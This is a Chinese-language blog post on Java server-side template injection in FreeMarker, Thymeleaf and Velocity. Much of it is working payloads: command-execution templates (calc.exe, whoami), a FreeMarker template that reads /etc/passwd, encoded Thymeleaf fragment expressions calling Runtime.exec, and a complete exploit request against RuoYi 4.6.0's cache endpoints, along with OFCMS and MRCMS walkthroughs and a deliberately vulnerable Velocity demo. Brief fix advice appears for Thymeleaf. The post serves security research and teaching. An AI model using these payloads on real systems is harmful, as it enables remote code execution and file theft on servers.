Java模版引擎注入(SSTI)漏洞研究 - 郑瀚 - 博客园
https://xz.aliyun.com/news/12415
SSTI多种模版注入
1.FreeMarker模板注入
1.1.FreeMarker简介
Java安全之freemarker 模板注入 - nice_0e3 - 博客园
https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew
FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
目前企业中,主要用Freemarker做静态页面或是页面展示

1
2
3
4
5
6
7
|
使用时需要在pom.xml中引入对应依赖
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.31</version>
</dependency>
|
1.2.漏洞审计思路
白盒思路
- 判断是否使用模板技术—>从pom.xml文件中查找
- 判断使用模板框架
- 寻找可控点,尝试传入对应poc
- 验证利用漏洞
黑盒思路
常出现的功能点:后台模板解析处,模板文件修改处,模板文件上传处…
1.3.漏洞利用方式
1
2
3
4
5
|
<#assign value="freemarker.template.utility.ObjectConstructor"? new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }
|
1
2
3
4
5
6
7
8
9
|
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
|
1.4.OFCMS-freemarker模板注入漏洞
java代码审计–OFCMS
查看项目配置文件pom.xml
可以看到引入了Freemarker依赖

登录管理员后台,发现存在模板管理功能点

在about.html文件中插入poc
1
|
<#assign value="freemarker.template.utility.ObjectConstructor"? new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
|
访问about.html页面成功弹出计算器

1.5.MRCMS-freemarker模板注入漏洞
从pom.xml文件可知网站使用了freemarker框架

网站后台恰好存在文章管理和文件管理和页面管理功能点
页面管理—文件管理—themes—flatweb—修改index.html或者about.html
插入恶意payload
1
|
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
|

2.Thymeleaf模板注入
Java 安全 | Thymeleaf 模板注入原理分析
第60篇:Thymeleaf模板注入漏洞总结及修复方法(上篇)
https://mp.weixin.qq.com/s/nf4Xu8dgRC35Egrga4shXg
2.1.Thymeleaf介绍
Thymeleaf模板注入存在版本限制:Thymeleaf在3.0.0到3.0.13存在模板注入漏洞
Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎,允许处理HTML、XML、TEXT、JAVASCRIPT、CSS、RAW。
模板引擎:
模板引擎对象是org.thymeleaf.ITemplateEngine接口的实现
Thymeleaf核心是org.thymeleaf.TemplateEngine
*Thymeleaf 模板的表达式有以下几种:{…}、消息表达式:#{…}、链接 URL 表达式:@{…}、片段表达式:~{…}。所以很多thymeleaf 模板的注入语句 ${…} 换成 {…} 也是可以利用成功的。
2.2.Thymeleaf使用
1
2
3
4
|
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
|
2.3.Thymeleaf漏洞利用方式
测试中遇到很多问题就是SpringBoot版本和Thymeleaf版本不匹配的问题,只有Spring3以下版本才会使用Thymeleaf的漏洞版本,Spring3以上版本使用的Thymeleaf版本过高,不会存在模板注入问题
第一种情况,return内容可控
这种情况最容易出现thymeleaf模板注入漏洞,一旦用户提交的数据可以传到return语句中,攻击者就可以提交恶意模板注入语句使thymeleaf组件进行模板解析,造成代码执行漏洞。

第二种情况,URL路径可控
这种情况比较少见,要求方法的返回类必须为void,此时会从URL中获取viewname,以URL路由为视图名称,调用模板视图去解析。

1
|
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
|
第三种情况,模板内容可控
模板内容可控这种情况太少见了

1
2
3
4
5
6
|
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh
__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
//__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
|
2.4.漏洞修复建议
1.使用@ResponseBody或@RestController修饰
@ResponseBody 是一个Spring框架中的注解,它用于指示该方法的返回值应该直接写入HTTP响应正文ResponseBody中,而不是通过视图解析器进行渲染。使用 @ResponseBody 注解可以将方法返回值以JSON、XML等格式直接写入HTTP响应体中,常用于返回 RESTful API 接口的响应数据。
@RestController是Spring框架中的一个注解,它结合了@Controller和 @ResponseBody注解的功能,用于简化 RESTful Web 服务开发。

2.使用redirect:或forward:修饰
根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值。这里需要注意的是,除了redirect:之外,还有forward:,这点网上很少提到。

3.设置为HttpServletResponse
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析,也就不会存在模板注入漏洞了。

Thymeleaf 默认会阻止 ${...} 或 ${…}** 这类模板表达式出现在 **视图名称(View Name)或 请求参数中,这是出于安全考虑,防止 服务器端模板注入(SSTI)攻击。
1
|
spring.thymeleaf.enable-preprocessing=false
|
2.5.RuoYi4.6.0—Thymeleaf模板注入
JAVA代审-RuoYi4.6.0
项目地址:https://gitee.com/y_project/RuoYi/repository/archive/v4.6.0.zip
导入sql下两个数据库文件,使用:admin:admin123进行登录即可
更改ruoyi-admin目录下的配置文件
先看pom.xml文件,看使用了什么模板技术
使用的Thymeleaf版本为3.0.11

版本是3.0.11,是存在漏洞的版本,全局搜索::,也就是片段表达式
全局搜索::

1
|
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
|
根据路由构造请求

1
2
3
4
5
6
7
8
9
10
11
12
13
|
POST /monitor/cache/getNames HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.0.102/index
Priority: u=4
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
|
除了getNames接口之外,getKeys和getValues接口同样也存在漏洞

3.Velocity模板注入
https://zhuanlan.zhihu.com/p/680660633
https://mp.weixin.qq.com/s/7VxKATKpJ-wMZkFaStbUxw
https://juejin.cn/post/7034112895277498404
3.1.Velocity介绍
Velocity 模板是一种用于快速开发 Web 应用程序的模板引擎。它允许开发人员使用自然语言和简单的语法来描述 Web 应用程序的 UI 和业务逻辑,从而提高开发效率和代码质量。
Velocity 小于等于 2.2 版本存在模板注入漏洞。
3.2.漏洞Demo
1
2
3
4
5
|
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
|
1
2
3
4
5
6
7
8
|
@GetMapping("/ssti")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("name", "lisi");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
|
http://127.0.0.1:8081/ssti?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)

1
|
%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
|